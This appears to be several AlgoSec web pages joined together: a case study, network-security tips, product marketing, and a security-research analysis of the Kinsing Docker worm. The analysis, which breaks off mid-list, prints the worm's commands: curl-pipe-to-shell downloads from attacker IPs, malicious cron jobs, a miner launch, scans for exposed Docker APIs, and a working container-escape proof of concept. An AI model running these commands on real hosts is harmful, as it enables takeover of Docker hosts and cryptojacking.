success stories "Leading fintech company rapidly improves security and compliance with AlgoSec jumpstart program" Background The company is one of the largest payment solutions providers, with offices processing more than 28 billion transactions worldwide. The company services 800,000 merchant outlets that generate $120 billion in processing volume. Its businesses include credit card processing, merchant acquisition and issuance of bank credit cards. The company grew to its enormous size through innovation and acquisition. It has introduced modern technology into the payments industry and has acquired many innovative companies over the last three decades. Challenges Today, the company operates 10 data centers with varying security architectures and firewall equipment from different vendors. The security staff is currently in the process of a cross-company firewall consolidation that will take several years to complete. The company is automating its change management of firewall rules to cut down on the time and effort spent on researching and implementing rules to keep up with its fast growth. It deploys rule changes during tight, scheduled “push windows” and conducts compliance reviews twice per year. The firewall change process is highly complex with many steps: Request Design Peer Review Management Approval Implementation Validation Success for the security team is all about time. They seek to automate the process by reducing time spent on: Research and writing rules Peer reviews Staging Security peering after staging Firewall push window requirements Quarterly firewall ruleset reviews as part of compliance objectives Solution The security team acquired AlgoSec Horizon Security Analyzer (AFA) and deployed it at two of its data centers in Arizona and Colorado. In both locations, the company is in the process of firewall migration to consolidate on one vendor. However, they need to add firewall clusters one at a time after each migration instead of all at once. The company took advantage of AlgoSec’s Jumpstart Program that delivers the benefits of AlgoSec Horizon Security Analyzer in conjunction with other AlgoSec solutions quickly. With Jumpstart, the company is quickly able to: Automate the discovery and mapping of enterprise applications Automate the change management processes Adopt the new processes across the company Realize rapid ROI The company’s lead security infrastructure consultant proclaimed, “AlgoSec customized their Jumpstart Program just for us. Their people are engaged, personable, skilled and highly efficient. They became part of our team dedicated to our success.” In addition to getting Horizon Security Analyzer up and running quickly and delivering its benefits, the Jumpstart team’s AFA deployment immediately identified network security gaps and helped the company close them, making them more secure and compliant. Results AlgoSec Horizon Security Analyzer is achieving all the goals of the security team. Time for policy writing reduced from 90 hours to 15 hours – 83% less Cut the total process time by half, enabling the security team to keep up with the barrage of change requests. Reduced the admin overhead from 30 to 4 – 87% less “Automation is definitely the way to go,” declared their security consultant. “We can now stay on top of the process even while we migrate our firewalls. We are looking for more from AlgoSec.” The company is now in the process of implementing AlgoSec Horizon FireFlow (AFF) to enhance the existing change management system with intelligent network and security automation. AlgoSec Horizon FireFlow enforces compliance and automatically documents the entire change-management lifecycle. Some of the features include: Processing of firewall changes with zero-touch automation Elimination of mistakes and rework, and improvement of accountability for change requests Proactive assessment of the impact of network changes to ensure security and continuous compliance Automation of the rule–recertification processes Schedule time with one of our experts

Cyber Attacks & Incident Response How to improve network security (7 fundamental ways) Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published As per Cloudwards , a new organization gets hit by ransomware every 14 seconds. This is despite the fact that global cybersecurity spending is up and is around $150 billion per year. That’s why fortifying your organization’s network security is the need of the hour. Learn how companies are proactively improving their network security with these best practices. 7 Ways to improve network security: ` 1. Change the way you measure cyber security risk Cyber threats have evolved with modern cybersecurity measures. Thus, legacy techniques to protect the network are not going to work. These techniques include measures like maturity assessment, compliance attestation, and vulnerability aging reports, among other things. While they still have a place in cybersecurity, they’re insufficient. To level up, you need greater visibility over the various risk levels. This visibility will allow you to deploy resources as per need. At the bare minimum, companies need a dashboard that lists real-time data on the number of applications, the region they’re used in, the size and nature of the database, the velocity of M&A, etc. IT teams can make better decisions since the impact of new technologies like big data and AI falls unevenly on organizations. Along with visibility, companies need transparency and precision on how the tools behave against cyberattacks. You can use the ATT&CK Framework developed by MITRE Corporation, the most trustworthy threat behavior knowledge base available today. Use it as a benchmark to test the tools’ efficiency. Measuring the tools this way helps you prepare well in advance. Another measurement technique you must adopt is measuring performance against low-probability, high-consequence attacks. Pick the events that you conclude have the least chance of occurring. Then, test the tools on such attacks. Maersk learned this the hard way. In the notPetya incident , the company came pretty close to losing all of its IT data. Imagine the consequence it’d have on the company that handles the world’s supply chain. Measuring is the only way to learn whether your current cybersecurity arrangements meet the need. 2. Use VLAN and subnets An old saying goes, ‘Don’t keep all your eggs in the same basket.’ Doing so would mean losing the basket, losing all your eggs. That is true for IT networks as well. Instead of treating your network as a whole, divide it into multiple subnetworks. There are various ways you can do that: VLAN or Virtual LAN is one of them. VLAN helps you segment a physical network without investing in additional servers or devices. The different segments can then be handled differently as per the need. For example, the accounting department will have a separate segment, and so will the marketing and sales departments. This segmentation helps enhance security and limit damage. VLAN also helps you prioritize data, networks, and devices. There will be some data that is more critical than others. The more critical data warrant better security and protection, which you can provide through a VLAN partition. Subnets are another way to segment networks. As opposed to VLAN, which separates the network at the switch level, subnets partition the network at IP level or level 3. The various subnetworks can then communicate with each other and third-party networks over IP. With the adoption of technologies like the Internet of Things (IoT), network segmentation is only going to get more critical. Each device used for data generation, like smartwatches, sensors, and cameras, can act as an entry point to your network. If the entry points are connected to sensitive data like consumers’ credit cards, it’s a recipe for disaster. You can implement VLAN or subnets in such a scenario. 3. Use NGFWs for cloud The firewall policy is at the core of cybersecurity. They’re essentially the guardians who check for intruders before letting the traffic inside the network. But with the growth of cloud technologies and the critical data they hold, traditional firewalls are no longer reliable. They can easily be passed by modern malware. You must install NGFWs or Next Generation Firewalls in your cloud to ensure total protection. These firewalls are designed specifically to counter modern cyberattacks. An NGFW builds on the capabilities of a traditional firewall. Thus, it inspects all the incoming traffic. But in addition, it has advanced capabilities like IPS (intrusion prevention system), NAT (network address translation), SPI (stateful protocol inspection), threat intelligence feeds, container protection, and SSL decryption, among others. NGFWs are also both user and application-aware. This allows them to provide context on the incoming traffic. NGFWs are important not only for cloud networks but also for hybrid networks . Malware from the cloud could easily transition into physical servers, posing a threat to the entire network. When selecting a next-gen firewall for your cloud, consider the following security features: The speed at which the firewall detects threats. Ideally, it should identify the attacks in seconds and detect data breaches within minutes. The number of deployment options available. The NGFW should be deployable on any premise, be it a physical, cloud, or virtual environment. Also, it should support different throughput speeds. The home network visibility it offers. It should report on the applications and websites, location, and users. In addition, it should show threats across the separate network in real-time. The detection capabilities. It goes without saying, but the next-gen firewall management should detect novel malware quickly and act as an anti-virus. Other functionalities that are core security requirements. Every business is different with its unique set of needs. The NGFW should fulfill all the needs. 4. Review and keep IAM updated To a great extent, who can access what determines the security level of a network. As a best practice, you should grant access to users as per their roles and requirement — nothing less, nothing more. In addition, it’s necessary to keep IAM updated as the role of users evolves. IAM is a cloud service that controls unauthorized access for users. The policies defined in this service either grant or reject resource access. You need to make sure the policies are robust. This requires you to review your IT infrastructure, the posture, and the users at the organization. Then create IAM policies and grant access as per the requirement. As already mentioned, users should have remote access to the resources they need. Take that as a rule. Along with that, uphold these important IAM principles to improve access control and overall network security strategy: Zero in on the identity It’s important to identify and verify the identity of every user trying to access the network. You can do that by centralizing security control on both user and service IDs. Adopt zero-trust Trust no one. That should be the motto when handling a company’s network security. It’s a good practice to assume every user is untrustworthy unless proven otherwise. Therefore, have a bare minimum verification process for everyone. Use MFA MFA or multi-factor authentication is another way to safeguard network security. This could mean they have to provide their mobile number or OTA pin in addition to the password. MFA can help you verify the user and add an additional security layer. Beef up password Passwords are a double-edged sword. They protect the network but also pose a threat when cracked. To prevent this, choose strong passwords meeting a certain strength level. Also, force users to update their unique passwords regularly. If possible, you can also go passwordless. This involves installing email-based or biometric login systems. Limit privileged accounts Privileged accounts are those accounts that have special capabilities to access the network. It’s important to review such accounts and limit their number. 5. Always stay in compliance Compliance is not only for pleasing the regulators. It’s also for improving your network security. Thus, do not take compliance for granted; always make your network compliant with the latest standards. Compliance requirements are conceptualized after consulting with industry experts and practitioners. They have a much better authoritative position to discuss what needs to be done at an industry level. For example, in the card sector, it’s compulsory to have continuous penetration testing done. So, when fulfilling a requirement, you adopt the best practices and security measures. The requirements don’t remain static. They evolve and change as loopholes emerge. The new set of compliance frameworks helps ensure you’re up-to-date with the latest standards. Compliance is also one of the hardest challenges to tackle. That’s because there are various types of compliances. There are government-, industry-, and product-level compliance requirements that companies must keep up with. Moreover, with hybrid networks and multi-cloud workflows, the task only gets steeper. Cloud security management tools can help in this regard to some extent. Since they grant a high level of visibility, spotting non-compliance becomes easier. Despite the challenges, investing more is always wise to stay compliant. After all, your business reputation depends on it. 6. Physically protect your network You can have the best software or service provider to protect your wireless networks and access points. But they will still be vulnerable if physical protection isn’t in place. In the cybersecurity space, the legend has it that the most secure network is the one that’s behind a closed door. Any network that has humans nearby is susceptible to cyberattacks. Therefore, make sure you have appropriate security personnel at your premises. They should have the capability and authority to physically grant or deny access to those seeking access to the network on all operating systems. Make use of biometric IDs to identify the employees. Also, prohibit the use of laptops, USB drives, and other electronic gadgets that are not authorized. When creating a network, data security teams usually authorize each device that can access it. This is known as Layer 1. To improve network security policy , especially on Wi-Fi (WPA), ensure all the network devices and workstations and SSIDs connected to the network as trustworthy. Adopt the zero-trust security policies for every device: considered untrustworthy until proven otherwise. 7. Train and educate your employees Lastly, to improve network security management , small businesses must educate their employees and invest in network monitoring. Since every employee is connected to the Wi-Fi network somehow, everyone poses a security threat. Hackers often target those with privileged access. Such accounts, once exploited by cybercriminals, can be used to access different segments of the network with ease. Thus, such personnel should receive education on priority. Train your employees on attacks like phishing, spoofing, code injection, DNS tunneling, etc. With knowledge, employees can tackle such attempts head-on. This, in turn, makes the network much more secure. After the privileged account holders are trained, make others in your organization undergo the same training. The more educated they are, the better it is for the network. It’s worth reviewing their knowledge of cybersecurity from time to time. You can conduct a simple survey in Q&A format to test the competency of your team. Based on the results, you can hold training sessions and get everyone on the same page. The bottom line on network security Data breaches often come at a hefty cost. And the most expensive item on the list is the trust of users. Once a data leak happens, retaining customers’ trust is very hard. Regulators aren’t easy on the executives either. Thus, the best option is to safeguard and improve your network security .

Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026?

Tags Share this article 9/12/23 Published With expertise in data management, search algorithms, and AI, Google has created a cloud platform that excels in both performance and efficiency. The advanced machine learning, global infrastructure, and comprehensive suite of services available in Google Cloud demonstrates Google’s commitment to innovation. Many companies are leveraging these capabilities to explore new possibilities and achieve remarkable outcomes in the cloud. When large companies decide to locate or move critical business applications to the cloud, they often worry about security. Making decisions to move certain applications to the cloud should not create new security risks. Companies are concerned about things like hackers getting access to their data, unauthorized people viewing or tampering with sensitive information, and meeting compliance regulations. To address these concerns, it’s important for companies to implement strong security measures in the cloud, such as strict access controls, encrypting data, constantly monitoring for threats, and following industry security standards. Unfortunately, even with the best tools and safeguards in place it is hard to protect against everything. Human error plays a major part in this and can introduce threats with a few small mistakes in configuration files or security rules that can create unnecessary security risks. The CloudFlow solution from AlgoSec is a network security management solution designed for cloud environments. It provides clear visibility, risk analysis, and helps identify unused rules to help with policy cleanup across multi-cloud deployments. With CloudFlow, organizations can manage security policies, better understand risk, and enhance their overall security in the cloud. It offers centralized visibility, helps with policy management, and provides detailed risk assessment. With Algosec Cloud, and support for Google Cloud, many companies are gaining the following new capabilities: Improved visibility Identifying and reduce risk Generating detailed risk reports Optimizing existing policies Integrating with other cloud providers and on-premise security devices Improve overall visibility into your cloud environments Gain clear visibility into your Google Cloud, Inventory, and network risks. In addition, you can see all the rules impacting your Google Cloud VPCs in one place. View network and inherited policies across all your Google Cloud Projects in one place. Using the built-in search tool and filters it is easy to search and locate policies based on the project, region, and VPC network. View all the rules protecting your Google Cloud VPCs in one place. View VPC firewall rules and the inherited rules from hierarchical firewall policies Gain visibility for your security rules and policies across all of your Google Cloud projects in one place. Identify and Reduce Risk in your Cloud Environments CloudFlow includes the ability to identify risks in your Google Cloud environment and their severity. Look across policies for risks and then drill down to look at specific rules and the affected assets. For any rule, you can conveniently view the risk description, the risk remediation suggestion and all its affected assets. Quickly identify policies that include risk Look at risky rules and suggested remediation Understand the assets that are affected Identify risky rules so you can confidently remove them and avoid data breaches. Tip: Hover over the: Description icon : to view the risk description. Remediation icon: to view the remediation suggestion. Quickly create and share detailed risk reports From the left menu select Risk and then use the built-in filters to narrow down your selection and view specific risk based on cloud type, account, region, tags, and severity. Once the selections are made a detailed report can be automatically generated for you by clicking on the pdf report icon in the top right of the screen. Generate detailed risk reports to share in a few clicks. Optimize Existing Policies Unused rules represent a common security risk and create policy bloat that can complicate both cloud performance and connectivity. View unused rules on the Overview page, for each project you can see the number of Google Cloud rules not being used based on a defined analysis period. This information can assist in cleaning the policies and reducing the attack surface. Select analysis period Identify unused rule to help optimize your cloud security policies Quickly locate rules that are not in use to help reduce your attack surface.
